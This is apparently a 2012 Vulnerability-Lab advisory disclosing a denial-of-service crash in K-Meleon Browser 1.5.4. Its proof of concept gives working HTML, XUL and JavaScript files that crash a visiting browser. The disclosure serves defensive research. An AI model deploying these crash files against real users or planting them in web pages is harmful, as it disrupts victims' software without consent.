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[Suspected Spam] K-Meleon Browser v1.5.4 - Denial of Service Vulnerability Apr 14 2012 04:27AM
Research (research vulnerability-lab com)
Title:
======
K-Meleon Browser v1.5.4 - Denial of Service Vulnerability

Date:
=====
2012-04-14

References:
===========
http://www.vulnerability-lab.com/get_content.php?id=510

VL-ID:
=====
510

Introduction:
=============
K-Meleon is an extremely fast, customizable, lightweight web browser based on the Gecko
layout engine developed by Mozilla which is also used by Firefox. K-Meleon is Free, Open
Source software released under the GNU General Public License and is designed specifically
for Microsoft Windows operating systems.

(Copy of the Vendor Homepage: http://kmeleon.sourceforge.net )

Abstract:
=========
Vulnerability Laboratory Research Team discovered a remote Dangle pointer (Denial of Service) Vulnerability on K-Meleon Browser v1.5.4.

Report-Timeline:
================
2012-04-14: Public or Non-Public Disclosure

Status:
========
Published

Exploitation-Technique:
=======================
Remote

Severity:
=========
Medium

Details:
========
A denial of service vulnerability is detected on K-Meleon Browser v1.5.4 . The vulnerability allows
an attacker to form manipulated files to crash th victims browser stable when processing to request.
The null pointer dos vulnerability is located nsTreeSelection element. Successful exploitation results
in a stable (bex exception) application (StackHash_2c85) crash.

Vulnerable Module(s):
[+] nsTreeSelection element

Picture(s):
../1.png
../2.png
../3.png

Proof of Concept:
=================
The vulnerability can be exploited by remote attackers. Victim only need to visit the
malicious file (frame-class.html) to crash stable. For demonstration or reproduce ...

frame-class.html
<script language=JavaScript>m='%3Chtml%3E%0A%3Capplet%20code%3D%22hexHEX.class%2
2%20width
%3D100%20height%3D140%3E%3C/applet%3E%0A%3Cscript%3Edocument.location%3D
%22tree.xul%22%3C/
script%3E%0A%3C/html%3E';d=unescape(m);document.write(d);</script>

tree.xul
<?xml version="1.0"?>
<?xml-stylesheet href="chrome://global/skin/" type="text/javascript"?>
<window
id="poc-test"
title="TESTING EXPLOIT"
orient="vertical"
xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" onload="doSelect()">
<script src="rem0ve.js"/>
<tree id="penetrationtest" rows="1" onselect="doSelect()">
<treechildren>
<treeitem container="true" open="true">
<treerow>
<treecell label="rem0ve (at) vulnerability-lab (dot) com [email concealed]"/>
</treerow>
</treeitem>
</treechildren>
</tree>
</window>

rem0ve.js
function Init()
{
var tree=document.getElementById('penetrationtest');
tree.view.selection.select(0);
doSelect();
}
function doSelect()
{
var tree=document.getElementById('penetrationtest');
var sel = tree.view.selection;
sel.tree = { invalidateRange: function(v,l)
{
sel.clearSelection();
}
}
}
setTimeout("Init()",500);

Risk:
=====
The security risk of the denial of service vulnerability is estimated as medium(-).

Credits:
========
Vulnerability Research Laboratory Team - N/A Anonymous

Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability-
Lab. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of
other media, are reserved by Vulnerability-Lab or its suppliers.

Copyright © 2012|Vulnerability-Lab

--
VULNERABILITY RESEARCH LABORATORY TEAM
Website: www.vulnerability-lab.com
Mail: research (at) vulnerability-lab (dot) com [email concealed]

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